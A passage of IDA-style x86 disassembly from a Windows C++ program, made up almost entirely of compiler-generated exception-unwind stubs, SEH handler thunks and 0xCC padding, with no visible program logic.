; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F80	proc near		; DATA XREF: sub_403F80+2o
		mov	eax, offset dword_43F860
		jmp	sub_437AB8
SEH_403F80	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404600	proc near		; DATA XREF: sub_404600+2o
		mov	eax, offset dword_43F918
		jmp	sub_437AB8
SEH_404600	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955B:				; DATA XREF: ___:0043F9CCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439566:				; DATA XREF: ___:0043F9D4o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C30	proc near		; DATA XREF: sub_404C30+8o
		mov	eax, offset dword_43F9A0
		jmp	sub_437AB8
SEH_404C30	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439800:				; DATA XREF: ___:0043FBA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43981E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43981E:				; CODE XREF: ___:00439810j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066A0	proc near		; DATA XREF: sub_4066A0+2o
		mov	eax, offset dword_43FB78
		jmp	sub_437AB8
SEH_4066A0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439840:				; DATA XREF: ___:0043FBDCo
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439864
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439864:				; CODE XREF: ___:00439856j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406850	proc near		; DATA XREF: sub_406850+2o
		mov	eax, offset dword_43FBB0
		jmp	sub_437AB8
SEH_406850	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406B80	proc near		; DATA XREF: sub_406B80+2o
		mov	eax, offset dword_43FBE8
		jmp	sub_437AB8
SEH_406B80	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409650	proc near		; DATA XREF: sub_409650+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409650	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A360	proc near		; DATA XREF: sub_40A360+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A500	proc near		; DATA XREF: sub_40A500+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A500	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C556CDh
; ---------------------------------------------------------------------------
		push	ss


loc_439DB9:				; DATA XREF: ___:0040AA22o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEE0	proc near		; DATA XREF: sub_40AEE0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B060	proc near		; DATA XREF: sub_40B060+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B060	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B180	proc near		; DATA XREF: sub_40B180+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B180	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B240	proc near		; DATA XREF: sub_40B240+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B240	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2E0	proc near		; DATA XREF: sub_40B2E0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B500	proc near		; DATA XREF: sub_40B500+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B500	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6C2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9A8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C430	proc near		; DATA XREF: sub_40C430+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4D0	proc near		; DATA XREF: sub_40C4D0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4D0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBE0	proc near		; DATA XREF: sub_40CBE0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC80	proc near		; DATA XREF: sub_40CC80+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC80	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF30	proc near		; DATA XREF: sub_40CF30+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFB2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D200	proc near		; DATA XREF: sub_40D200+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D200	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D650	proc near		; DATA XREF: sub_40D650+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D650	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC10	proc near		; DATA XREF: sub_40DC10+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC10	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

